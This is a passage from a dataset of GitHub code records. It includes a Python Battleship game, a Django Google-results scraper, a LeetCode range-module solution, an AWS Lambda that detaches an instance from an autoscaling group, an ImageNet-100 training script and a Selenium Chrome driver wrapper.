name):\n self.placeShipInDirection(row, col, word, direction)\n return True\n else:\n return False\n\ndef fillPlayerBoardsWithRandom(players):\n directions = [\"right\", \"left\", \"up\", \"down\"]\n for player in players:\n patrol = Ship(\"Patrol Boat\", 2)\n cruiser = Ship(\"Crusier\", 3)\n sub = Ship(\"Sub\", 3)\n destroyer = Ship(\"Destroyer\", 4)\n aircraftCarrier = Ship(\"Aircraft Carrier\", 5)\n boats = [patrol, cruiser, sub, destroyer, aircraftCarrier]\n for ship in boats:\n player.boats.append(ship)\n row = random.randint(1,10)\n col = random.randint(1,10)\n direction = random.randint(0, 3)\n while not player.board.placeShip(row, col, ship.letterString, directions[direction], player.name):\n row = random.randint(1,10)\n col = random.randint(1,10)\n direction = random.randint(0, 3)\n return players\n\ndef otherPlayer(turn):\n if turn == 0:\n return 1\n else:\n return 0\n\ndef translateLetter(letter):\n cols = [\"\", \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\"]\n try:\n return cols.index(letter.capitalize())\n except ValueError:\n return translateLetter(input(\"Invlid Column please try again\"))\n\ndef validateRow(x):\n try:\n x = int(x)\n while (x > 10) | (x < 1):\n x = int(input(\"Invalid Row, please try again\"))\n else:\n return x\n except ValueError:\n return validateRow(input(\"Invalid Row, please try again\"))\n\ndef logWin(winner):\n gameLogPath = os.path.dirname(__file__) + \"\\gameLog\"\n playerWins = 0\n computerWins = 0\n with open(gameLogPath, mode='rt') as reader:\n log = reader.read()\n log += str(datetime.datetime.today())\n log += \"\\n\" + winner.name + \" is winner!\"\n log += winner.targetBoard.printBoard(printIt=False)\n log += winner.board.printBoard(printIt=False)\n log += \"\\n||||||||||||||||||||||||||||||||||||||||||||||||||||||\\n\"\n with open(gameLogPath, mode='wt') as writer:\n for line in log:\n writer.write(line)\n with open(gameLogPath, mode='rt') as lineReader:\n log = lineReader.readLines()\n for line in log:\n if (\"Plyaer\" in line) & (\"Board\" not in line):\n playerWins += 1\n if (\"Computer\" in line) & (\"Board\" not in line):\n computerWins += 1\n print(\"{winner} is the winner!!\\nPlayer has won: {playerWins}\\nComputer has won: {computerWins}\\nComputer/Human Win Ratio: {ratio}\".format(\n winner=winner.name, playerWins=playerWins, computerWins=computerWins, ratio=round(computerWins/playerWins, 2)))\n\ndef getPlayerFireCords():\n xy = input(\"\\nENTER FIRE COORDINATES: \")\n if len(xy) == 0:\n return getPlayerFireCords()\n else:\n return xy\n\ndef sumOfEndOfList(lst):\n num = 0\n for x in lst[:4]:\n num += x\n return num\n\nplayers = fillPlayerBoardsWithRandom([Player(\"Player\"), Player(\"Computer\")])\nturn = 0\nwinner = \"nobody\"\nwhile winner is \"nobody\":\n if players[turn].getHitPoints() == 0:\n winner = players[otherPlayer(turn)]\n logWin(winner)\n else:\n if players[turn].name is \"Player\":\n players[turn].targetBoard.printBoard()\n players[turn].board.printBoard()\n xy = getPlayerFireCords()\n y = translateLetter(xy[0])\n x = validateRow(xy[1:])\n else:\n target = players[turn].getShotCords()\n x = target.row\n y = target.col\n players[turn].shoosAt(players[otherPlayer(turn)], x, y)\n turn = otherPlayer(turn)\n\nx = input(\"\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"MarkHauen/BattleShip","sub_path":"BattleShip.py","file_name":"BattleShip.py","file_ext":"py","file_size_in_byte":15725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21624727897","text":"from django.core.management.base import BaseCommand, CommandError\nfrom main.models import *\nfrom .lib.googlelib import search\nfrom .lib.utils import _get_search_url\nimport sys\n\ndef is_exist(link):\n try:\n Log.objects.get(link=link)\n return True\n except:\n return False\n\ndef put_in_log(link):\n l = Log()\n l.link = link\n l.save()\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n print('Grabing')\n MaterialPage.objects.all().delete()\n #for page in range(0,5):\n page = 0\n for word in Word.objects.all().order_by('-id'):\n #MaterialItem.objects.filter(word=word).delete()\n url = _get_search_url(word.name, page)\n print(word)\n if not is_exist(word): \n start_position = 0\n search_results = search(word.name,page=page)\n if len(search_results['data'])> 50:\n mp = MaterialPage()\n mp.html = search_results['html']\n mp.page = 1\n mp.word = word\n mp.search_url = search_results['url']\n #import pdb; pdb.set_trace()\n mp.save()\n for result in search_results['data']:\n start_position += 1\n mi = MaterialItem()\n mi.word = word\n mi.title = result.name\n mi.link = result.link\n mi.material = mp\n mi.page = page\n mi.position = start_position\n mi.save()\n #print(result.name)\n print(result.link)\n put_in_log(word)\n else:\n print('Captcha!!!!!!!!!!')\n #sys.exit('Captcha!!!!!!!!!!')\n else:\n print('Exists!')\n #break","repo_name":"zdimon/google-graber","sub_path":"prj/main/management/commands/grab.py","file_name":"grab.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33760480048","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020/7/29 20:52\n @Author : QDY\n @FileName: 715. Range 模块.py\n @Software: PyCharm\n\"\"\"\n\"\"\"\n Range 模块是跟踪数字范围的模块。你的任务是以一种有效的方式设计和实现以下接口。\n addRange(int left, int right) 添加半开区间 [left, right),跟踪该区间中的每个实数。\n 添加与当前跟踪的数字部分重叠的区间时,应当添加在区间 [left, right) 中尚未跟踪的任何数字到该区间中。\n queryRange(int left, int right) 只有在当前正在跟踪区间 [left, right) 中的每一个实数时,才返回 true。\n removeRange(int left, int right) 停止跟踪区间 [left, right) 中当前正在跟踪的每个实数。\n  \n\n 示例:\n addRange(10, 20): null\n removeRange(14, 16): null\n queryRange(10, 14): true (区间 [10, 14) 中的每个数都正在被跟踪)\n queryRange(13, 15): false (未跟踪区间 [13, 15) 中像 14, 14.03, 14.17 这样的数字)\n queryRange(16, 17): true (尽管执行了删除操作,区间 [16, 17) 中的数字 16 仍然会被跟踪)\n  \n 提示:\n 半开区间 [left, right) 表示所有满足 left <= x < right 的实数。\n 对 addRange, queryRange, removeRange 的所有调用中 0 < left < right < 10^9。\n 在单个测试用例中,对 addRange 的调用总数不超过 1000 次。\n 在单个测试用例中,对  queryRange 的调用总数不超过 5000 次。\n 在单个测试用例中,对 removeRange 的调用总数不超过 1000 次。\n\n\"\"\"\nfrom bisect import bisect_left, bisect_right\n\n\nclass RangeModule:\n\n def __init__(self):\n self.ranges = []\n\n def bound(self, left, right): # 找到与[left,right)相交的区间起始索引\n length = len(self.ranges)\n i = 0\n while i < length:\n if left > self.ranges[i][1]: # self.ranges[i]整体在(left,right)之前\n i += 1\n else:\n # 1.(left,right)整体在self.ranges[i]之前\n if right < self.ranges[i][0]:\n return i, i - 1\n # 2.(left,right)与self.ranges[i]相交\n for j in range(i, length): # 找到最后一个与(left,right)相交的区间\n if self.ranges[j][0] > right: # (left,right)整体在self.ranges[j]之前\n return i, j - 1\n return i, j # 之后所有的区间都与(left,right)相交\n return length, length - 1\n\n def addRange(self, left: int, right: int) -> None:\n start, end = self.bound(left, right)\n if start <= end:\n left = min(left, self.ranges[start][0])\n right = max(right, self.ranges[end][1])\n self.ranges[start:end + 1] = [(left, right)]\n # print(start,end,self.ranges)\n\n def queryRange(self, left: int, right: int) -> bool:\n # 二分查找i,使得self.ranges[i-1][0]<=left, self.ranges[i][0]>left\n i = bisect_left(self.ranges, (left, float('inf')))\n # print(self.ranges,i)\n if i: i -= 1\n return (bool(self.ranges) and self.ranges[i][0] <= left and right <= self.ranges[i][1])\n # if not self.ranges:return False\n # # print(self.ranges)\n # for l in range(len(self.ranges)):\n # if self.ranges[l][0] > left:\n # return False if l==0 or self.ranges[l-1][1] < right else True\n # return self.ranges[l][1] >= right\n\n def removeRange(self, left: int, right: int) -> None:\n start, end = self.bound(left, right)\n merge = []\n for i in range(start, end + 1): # start>end时,merge = [], 不删除\n if self.ranges[i][0] < left:\n merge.append((self.ranges[i][0], left))\n if right < self.ranges[i][1]:\n merge.append((right, self.ranges[i][1]))\n self.ranges[start:end + 1] = merge\n # self.ranges[start:end+1] = [(self.ranges[start][0], left),(right, self.ranges[end][1])]\n # print(self.ranges)\n\n# Your RangeModule object will be instantiated and called as such:\n# obj = RangeModule()\n# obj.addRange(left,right)\n# param_2 = obj.queryRange(left,right)\n# obj.removeRange(left,right)\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/715. Range 模块.py","file_name":"715. Range 模块.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6668026775","text":"import json\nimport boto3\n\n\ndef lambda_handler(event, context):\n if isinstance(event, str):\n event = json.loads(event)\n\n client = assume_role(f\"arn:aws:iam::{event['account_id']}:role/aws-controltower-AdministratorExecutionRole\",\n \"demisto\", 'autoscaling', event['region'])\n\n response = client.detach_instances(\n InstanceIds=[\n event['instance_id'],\n ],\n AutoScalingGroupName=event['asg_name'],\n ShouldDecrementDesiredCapacity=False\n )\n\n return {\n 'statusCode': 200,\n 'body': f\"{event['instance_id']} has been removed from ASG {event['asg_name']}\"\n }\n\n\ndef assume_role(arn, session_name, service, region):\n client = boto3.client('sts')\n\n response = client.assume_role(RoleArn=arn, RoleSessionName=session_name)\n\n session = boto3.Session(aws_access_key_id=response['Credentials']['AccessKeyId'],\n aws_secret_access_key=response['Credentials']['SecretAccessKey'],\n aws_session_token=response['Credentials']['SessionToken'],\n region_name=region)\n\n return session.client(service)","repo_name":"daniel-prince/xsoar-hackathon","sub_path":"scripts/detach-from-asg.py","file_name":"detach-from-asg.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69841472428","text":"# -*- coding: utf-8 -*-\nimport copy\n\nimport numpy as np\nimport os\n\nimport argparse\nimport time\nimport torch\n\nimport torchvision\nimport torch.backends.cudnn as cudnn\nimport torchvision.transforms as trn\nimport torchvision.datasets as dset\nimport torch.nn.functional as F\n\n\nfrom resnet import ResNet_Model\n\n\n\n\nfrom utils.validation_dataset import validation_split\nfrom utils.out_dataset import RandomImages50k\n\nparser = argparse.ArgumentParser(description='Tunes a CIFAR Classifier with OE',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--dataset', type=str, default='in100',\n help='Choose between CIFAR-10, CIFAR-100.')\nparser.add_argument('--model', '-m', type=str, default='wrn',\n choices=['allconv', 'wrn', 'densenet'], help='Choose architecture.')\nparser.add_argument('--calibration', '-c', action='store_true',\n help='Train a model to be used for calibration. This holds out some data for validation.')\n# Optimization options\nparser.add_argument('--epochs', '-e', type=int, default=100, help='Number of epochs to train.')\nparser.add_argument('--learning_rate', '-lr', type=float, default=0.1, help='The initial learning rate.')\nparser.add_argument('--batch_size', '-b', type=int, default=160, help='Batch size.')\nparser.add_argument('--oe_batch_size', type=int, default=256, help='Batch size.')\nparser.add_argument('--test_bs', type=int, default=200)\nparser.add_argument('--momentum', type=float, default=0.9, help='Momentum.')\nparser.add_argument('--decay', '-d', type=float, default=0.0005, help='Weight decay (L2 penalty).')\n# WRN Architecture\nparser.add_argument('--layers', default=40, type=int, help='total number of layers')\nparser.add_argument('--widen-factor', default=2, type=int, help='widen factor')\nparser.add_argument('--droprate', default=0.3, type=float, help='dropout probability')\n# Checkpoints\nparser.add_argument('--save', '-s', type=str, default='./snapshots/', help='Folder to save checkpoints.')\nparser.add_argument('--load', '-l', type=str, default='',\n help='Checkpoint path to resume / test.')\nparser.add_argument('--test', '-t', action='store_true', help='Test only flag.')\n# Acceleration\nparser.add_argument('--ngpu', type=int, default=8, help='0 = CPU.')\nparser.add_argument('--prefetch', type=int, default=4, help='Pre-fetching threads.')\n# EG specific\nparser.add_argument('--m_in', type=float, default=-25.,\n help='margin for in-distribution; above this value will be penalized')\nparser.add_argument('--m_out', type=float, default=-7.,\n help='margin for out-distribution; below this value will be penalized')\nparser.add_argument('--score', type=str, default='energy', help='OE|energy')\nparser.add_argument('--add_slope', type=int, default=0)\nparser.add_argument('--add_class', type=int, default=0)\nparser.add_argument('--vanilla', type=int, default=1)\nparser.add_argument('--oe', type=int, default=0)\nparser.add_argument('--apex', type=int, default=0)\nparser.add_argument('--r50', type=int, default=0)\nparser.add_argument('--augmix', type=int, default=0)\nparser.add_argument('--cutmix', type=int, default=0)\nparser.add_argument('--use_subset', type=int, default=0)\nparser.add_argument('--randaugment', type=int, default=0)\nparser.add_argument('--autoaugment', type=int, default=0)\nparser.add_argument('--deepaugment', type=int, default=0)\nparser.add_argument('--T', type=float, default=1.0)\nparser.add_argument('--my_info', type=str, default='')\nparser.add_argument('--additional_info', type=str, default='')\nparser.add_argument('--gpu', type=int, default=0)\nparser.add_argument('--energy_weight', type=float, default=1) # change this to 19.2 if you are using cifar-100.\nparser.add_argument('--seed', type=int, default=1, help='seed for np(tinyimages80M sampling); 1|2|8|100|107')\nargs = parser.parse_args()\n\nif args.score == 'OE':\n save_info = 'oe_tune'\nelif args.score == 'energy':\n save_info = 'energy_ft_sd'\nif args.apex:\n # apex\n from apex.parallel import DistributedDataParallel as DDP\n from apex.fp16_utils import *\n from apex import amp, optimizers\n from apex.multi_tensor_apply import multi_tensor_applier\n amp.register_float_function(torch, 'sigmoid')\n\nargs.save = args.save + save_info\nif os.path.isdir(args.save) == False:\n os.mkdir(args.save)\nstate = {k: v for k, v in args._get_kwargs()}\nprint(state)\n\ntorch.manual_seed(1)\nnp.random.seed(args.seed)\n\n# mean and standard deviation of channels of CIFAR-10 images\nmean = [x / 255 for x in [125.3, 123.0, 113.9]]\nstd = [x / 255 for x in [63.0, 62.1, 66.7]]\n\ntrain_transform = trn.Compose([trn.RandomHorizontalFlip(), trn.RandomCrop(32, padding=4),\n trn.ToTensor(), trn.Normalize(mean, std)])\ntest_transform = trn.Compose([trn.ToTensor(), trn.Normalize(mean, std)])\n\n\n\ntraindir = os.path.join('/nobackup/dataset/my_xfdu/IN100_new/', 'train')\nvaldir = os.path.join('/nobackup/dataset/my_xfdu/IN100_new/', 'val')\n\n\nnormalize = trn.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\nif args.augmix:\n train_data_in = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n train_data_in_aug = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.AugMix(),\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n import random\n train_data_in_aug = torch.utils.data.Subset(train_data_in_aug,\n random.sample(range(len(train_data_in_aug)), 108000))\n train_data_in = torch.utils.data.ConcatDataset([train_data_in, train_data_in_aug])\n # breakpoint()\nelif args.randaugment:\n train_data_in = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n train_data_in_aug = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.RandAugment(),\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n import random\n train_data_in_aug = torch.utils.data.Subset(train_data_in_aug,\n random.sample(range(len(train_data_in_aug)), 108000))\n train_data_in = torch.utils.data.ConcatDataset([train_data_in, train_data_in_aug])\n\nelif args.autoaugment:\n train_data_in = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n train_data_in_aug = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.AutoAugment(trn.AutoAugmentPolicy.IMAGENET),\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ])\n )\n import random\n train_data_in_aug = torch.utils.data.Subset(train_data_in_aug,\n random.sample(range(len(train_data_in_aug)), 108000))\n train_data_in = torch.utils.data.ConcatDataset([train_data_in, train_data_in_aug])\n\n\nelse:\n train_data_in = torchvision.datasets.ImageFolder(\n traindir,\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ]))\n if args.use_subset:\n import random\n # breakpoint()\n train_data_in = torch.utils.data.Subset(train_data_in,\n random.sample(range(len(train_data_in)), 70774))\nif args.deepaugment:\n edsr_dataset = torchvision.datasets.ImageFolder(\n '/nobackup-fast/dataset/my_xfdu/deepaugment/imagenet-r/DeepAugment/EDSR/',\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ]))\n\n cae_dataset = torchvision.datasets.ImageFolder(\n '/nobackup-fast/dataset/my_xfdu/deepaugment/imagenet-r/DeepAugment/CAE/',\n trn.Compose([\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize,\n ]))\n train_data_in = torch.utils.data.ConcatDataset([train_data_in, edsr_dataset, cae_dataset])\ntest_data = torchvision.datasets.ImageFolder(\n valdir,\n trn.Compose([\n trn.Resize(256),\n trn.CenterCrop(224),\n trn.ToTensor(),\n normalize,\n ]))\nnum_classes = 100\n\n\ncalib_indicator = ''\nif args.calibration:\n train_data_in, val_data = validation_split(train_data_in, val_share=0.1)\n calib_indicator = '_calib'\n\n\n\n\n\nprefix = '/nobackup-slow/dataset/'\n\nood_data = dset.ImageFolder(root=prefix + \"my_xfdu/sd/txt2img-samples-in100/\" + args.my_info + '/samples',\n transform=trn.Compose([trn.RandomResizedCrop(224),\ntrn.RandomHorizontalFlip(),\ntrn.ToTensor(),\nnormalize,]))\nmap = ood_data.class_to_idx\nmap1 = {}\nfor key in list(map.keys()):\n map1[map[key]] = int(key)\n# breakpoint()\nif args.augmix:\n ood_data = dset.ImageFolder(\n root=prefix + \"my_xfdu/sd/txt2img-samples-in100/\" + args.my_info + '/samples',\n transform=trn.Compose([trn.AugMix(),\n trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize, ]),\n target_transform=lambda id: map1[id])\nelse:\n ood_data = dset.ImageFolder(\n root=prefix + \"my_xfdu/sd/txt2img-samples-in100/\" + args.my_info + '/samples',\n transform=trn.Compose([trn.RandomResizedCrop(224),\n trn.RandomHorizontalFlip(),\n trn.ToTensor(),\n normalize, ]),\n target_transform=lambda id: map1[id])\n\nif args.use_subset:\n import random\n ood_data = torch.utils.data.Subset(ood_data,\n random.sample(range(len(ood_data)), 59086))\n\n\n\n\ntrain_loader_in = torch.utils.data.DataLoader(\n train_data_in,\n batch_size=args.batch_size, shuffle=True,\n num_workers=args.prefetch, pin_memory=True)\n\ntrain_loader_out = torch.utils.data.DataLoader(\n ood_data,\n batch_size=args.oe_batch_size, shuffle=True,\n num_workers=args.prefetch, pin_memory=True)\n\ntest_loader = torch.utils.data.DataLoader(\n test_data,\n batch_size=args.batch_size, shuffle=False,\n num_workers=args.prefetch, pin_memory=True)\n\n# Create model\nif args.r50:\n net = ResNet_Model(name='resnet50', num_classes=num_classes)\nelse:\n net = ResNet_Model(name='resnet34', num_classes=num_classes)\n# net = WideResNet(args.layers, num_classes, args.widen_factor, dropRate=args.droprate)\n\n\ndef recursion_change_bn(module):\n if isinstance(module, torch.nn.BatchNorm2d):\n module.track_running_stats = 1\n module.num_batches_tracked = 0\n else:\n for i, (name, module1) in enumerate(module._modules.items()):\n module1 = recursion_change_bn(module1)\n return module\n\n\n# Restore model\nmodel_found = False\nif args.load != '':\n\n pretrained_weights = torch.load(args.load)\n # breakpoint()\n for item in list(pretrained_weights.keys()):\n pretrained_weights[item[7:]] = pretrained_weights[item]\n del pretrained_weights[item]\n net.load_state_dict(pretrained_weights, strict=True)\n\n\n\n\noptimizer = torch.optim.SGD(\n list(net.parameters()),\n state['learning_rate'], momentum=state['momentum'],\n weight_decay=state['decay'], nesterov=True)\n\nnet.cuda()\nif args.ngpu > 1:\n\n if args.apex:\n net, optimizer = amp.initialize(net, optimizer, opt_level=\"O1\", loss_scale=1.0)\n net = torch.nn.DataParallel(net, device_ids=list(range(args.ngpu)))\n\nif args.ngpu > 0:\n torch.cuda.manual_seed(1)\n\ncudnn.benchmark = True # fire on all cylinders\n\ndef cosine_annealing(step, total_steps, lr_max, lr_min):\n return lr_min + (lr_max - lr_min) * 0.5 * (\n 1 + np.cos(step / total_steps * np.pi))\n\n\nscheduler = torch.optim.lr_scheduler.LambdaLR(\n optimizer,\n lr_lambda=lambda step: cosine_annealing(\n step,\n args.epochs * len(train_loader_in),\n 1, # since lr_lambda computes multiplicative factor\n 1e-6 / args.learning_rate))\n\n# /////////////// Training ///////////////\ncriterion = torch.nn.CrossEntropyLoss()\n\n\ndef train():\n net.train() # enter train mode\n loss_avg = 0.0\n loss_energy_avg = 0.0\n\n # start at a random point of the outlier dataset; this induces more randomness without obliterating locality\n # train_loader_out.dataset.offset = np.random.randint(len(train_loader_out.dataset))\n batch_iterator = iter(train_loader_out)\n for _, in_set in enumerate(train_loader_in):\n # print(in_set[0])\n # print(out_set[0])\n\n try:\n out_set = next(batch_iterator)\n except StopIteration:\n # train_loader_out.dataset.offset = np.random.randint(len(train_loader_out.dataset))\n batch_iterator = iter(train_loader_out)\n out_set = next(batch_iterator)\n\n data = torch.cat((in_set[0], out_set[0]), 0)\n target = torch.cat((in_set[1], out_set[1]), 0)\n\n permutation_idx = torch.randperm(len(data))\n data = data[permutation_idx]\n target = target[permutation_idx]\n data, target = data.cuda(), target.cuda()\n # breakpoint()\n\n # forward\n x = net(data)\n\n # backward\n optimizer.zero_grad()\n loss = F.cross_entropy(x, target)\n if args.apex:\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n else:\n loss.backward()\n optimizer.step()\n scheduler.step()\n # exponential moving average\n\n loss_avg = loss_avg * 0.8 + float(loss) * 0.2\n print(scheduler.get_lr())\n state['train_loss'] = loss_avg\n state['train_energy_loss'] = loss_energy_avg\n\n\n\ndef rand_bbox(size, lam):\n W = size[2]\n H = size[3]\n cut_rat = np.sqrt(1. - lam)\n cut_w = np.int(W * cut_rat)\n cut_h = np.int(H * cut_rat)\n\n # uniform\n cx = np.random.randint(W)\n cy = np.random.randint(H)\n\n bbx1 = np.clip(cx - cut_w // 2, 0, W)\n bby1 = np.clip(cy - cut_h // 2, 0, H)\n bbx2 = np.clip(cx + cut_w // 2, 0, W)\n bby2 = np.clip(cy + cut_h // 2, 0, H)\n\n return bbx1, bby1, bbx2, bby2\n\n# test function\ndef test():\n net.eval()\n loss_avg = 0.0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.cuda(), target.cuda()\n\n # forward\n output = net(data)\n loss = F.cross_entropy(output, target)\n\n # accuracy\n pred = output.data.max(1)[1]\n correct += pred.eq(target.data).sum().item()\n\n # test loss average\n loss_avg += float(loss.data)\n\n state['test_loss'] = loss_avg / len(test_loader)\n state['test_accuracy'] = correct / len(test_loader.dataset)\n\n\nif args.test:\n test()\n print(state)\n exit()\n\n# Make save directory\nif not os.path.exists(args.save):\n os.makedirs(args.save)\nif not os.path.isdir(args.save):\n raise Exception('%s is not a dir' % args.save)\n\n\nsave_info = save_info + \"_slope_\" + str(args.add_slope) + '_' + \"weight_\" + str(args.energy_weight)\nsave_info = save_info + '_' + args.my_info + '_real' + '_' + args.additional_info\n\nwith open(os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_s' + str(args.seed) +\n '_' + save_info + '_training_results.csv'), 'w') as f:\n f.write('epoch,time(s),train_loss,test_loss,test_error(%)\\n')\n\nprint('Beginning Training\\n')\n\n# Main loop\nloss_min = 100\nfor epoch in range(0, args.epochs):\n state['epoch'] = epoch\n\n begin_epoch = time.time()\n\n train()\n test()\n\n\n torch.save(net.state_dict(),\n os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_s' + str(args.seed) +\n '_' + save_info + '_epoch_' + str(epoch) + '.pt'))\n\n # Let us not waste space and delete the previous model\n prev_path = os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_s' + str(args.seed) +\n '_' + save_info + '_epoch_' + str(epoch - 1) + '.pt')\n if os.path.exists(prev_path): os.remove(prev_path)\n\n # Show results\n with open(os.path.join(args.save, args.dataset + calib_indicator + '_' + args.model + '_s' + str(args.seed) +\n '_' + save_info + '_training_results.csv'), 'a') as f:\n f.write('%03d,%05d,%0.6f,%0.5f,%0.2f\\n' % (\n (epoch + 1),\n time.time() - begin_epoch,\n state['train_loss'],\n state['test_loss'],\n 100 - 100. * state['test_accuracy'],\n ))\n\n\n print('Epoch {0:3d} | Time {1:5d} | Train Loss {2:.4f} | Test Loss {3:.3f} | Test Error {4:.2f}'.format(\n (epoch + 1),\n int(time.time() - begin_epoch),\n state['train_loss'],\n state['test_loss'],\n 100 - 100. * state['test_accuracy'])\n )\n","repo_name":"deeplearning-wisc/dream-ood","sub_path":"scripts/train_gene_in100.py","file_name":"train_gene_in100.py","file_ext":"py","file_size_in_byte":17714,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"37"} +{"seq_id":"29605882648","text":"#! /usr/bin/env python3\nimport platform\nfrom typing import *\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.webdriver import WebDriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n\n\nclass ChromeDriverManager:\n def __init__(\n self,\n driver_version=\"110\",\n headless=False,\n gpu=False,\n extensions=False,\n js=True,\n ignore_cert_err=False,\n eager=False,\n wait=5,\n ):\n self.driver_version = driver_version\n self.headless = \"--headless\" if headless else None\n self.gpu = None if gpu else \"--disable-gpu\"\n self.extensions = None if extensions else \"--disable-extensions\"\n self.js = None if js else \"--disable-javascript\"\n self.ignore_cert_err = \"--ignore-certificate-errors\" if ignore_cert_err else None\n self.wait = wait\n\n id, driver = self.init_driver(\n driver_version=self.driver_version,\n headless=self.headless,\n gpu=self.gpu,\n extensions=self.extensions,\n js=self.js,\n ignore_cert_err=self.ignore_cert_err,\n wait=self.wait,\n eager=eager,\n )\n self.id = id\n self.driver = driver\n self.current_tab = driver.current_window_handle\n\n @staticmethod\n def init_driver(\n driver_version, headless, gpu, extensions, js, ignore_cert_err, wait, eager\n ) -> Tuple[str, webdriver.Chrome]:\n options = Options()\n if headless:\n options.add_argument(headless)\n if gpu:\n options.add_argument(gpu)\n if extensions:\n options.add_argument(extensions)\n if js:\n options.add_argument(js)\n if ignore_cert_err:\n options.add_argument(ignore_cert_err)\n\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"start-maximized\")\n options.add_argument(\"disable-infobars\")\n\n # https://www.selenium.dev/documentation/webdriver/capabilities/shared/#pageloadstrategy\n options.page_load_strategy = \"none\"\n # # Disable image loading:\n # disable_img_loading = {\"profile.managed_default_content_settings.images\": 2}\n # options.add_experimental_option(\"prefs\", disable_img_loading)\n\n os = platform.system()\n if os == \"Linux\":\n exec_path = f\"./chromedriver_linux64_v{driver_version}\"\n elif os == \"Windows\":\n exec_path = f\"./chromedriver_win32_v{driver_version}.exe\"\n else:\n raise NotImplementedError(f\"No driver for platform `{os}`\")\n\n caps = DesiredCapabilities().CHROME.copy()\n\n if eager:\n driver = webdriver.Chrome(\n executable_path=exec_path,\n chrome_options=options,\n desired_capabilities=caps,\n )\n else:\n driver = webdriver.Chrome(executable_path=exec_path, chrome_options=options)\n\n driver.implicitly_wait(wait)\n return (driver.current_window_handle, driver)\n\n def open_url(self, pageUrl: str) -> None:\n self.driver.get(pageUrl)\n\n def get_driver(self) -> WebDriver:\n return self.driver\n\n def get_driver_handles(self) -> List:\n return self.driver.window_handles\n\n def get_current_tab_id(self) -> str:\n return self.current_tab\n\n def close_driver(self) -> None:\n self.driver.quit()\n\n def open_new_tab(self, link: str):\n self.driver.execute_script(\"window.open(\" + link + \")\")\n self.driver.switch_to.window(self.get_driver_handles()[-1])\n\n def switch_to_tab(self, tab_idx: int):\n try:\n tab_handle = self.get_driver_handles()[tab_idx]\n self.driver.switch_to.window(tab_handle)\n self.current_tab = tab_handle\n except Exception as e:\n print(\"Tab not found\\n\" + repr(e))\n\n def switch_to_handle(self, tab_handle: str):\n try:\n self.driver.switch_to.window(tab_handle)\n self.current_tab = tab_handle\n except Exception as e:\n print(\"Tab not found\\n\" + repr(e))\n\n\n# class PageAction(object):\n# def __init__(self, browser):\n# self._browser = browser.implicitly_wait(2)\n\n# def getTextByXpath(self, xpath):\n# self._xpath = xpath\n# self.__text = ''\n# self.__t0 = time.clock()\n# self.__time = time.clock() - self.__t0\n# self.__found = False\n# while self.__time < 10 and self.__found == False:\n# try:\n# element = self._browser.find_element_by_xpath(self._xpath)\n# self.__text = element.text\n# self.__found = True\n# except:\n# self.__text = ''\n# self.__time = time.clock() - self.__t0\n# return self.__text\n\n\n# class ElementHasClass(object):\n# \"\"\"An expectation for checking that an element has a particular css class.\n\n# locator - used to find the element\n# returns the WebElement once it has the particular css class\n# \"\"\"\n\n# def __init__(self, locator, css_class):\n# self.locator = locator\n# self.css_class = css_class\n\n# def __call__(self, driver):\n# element = driver.find_element(*self.locator) # Finding the referenced element\n# if self.css_class in element.get_attribute(\"class\"):\n# return element\n# else:\n# return 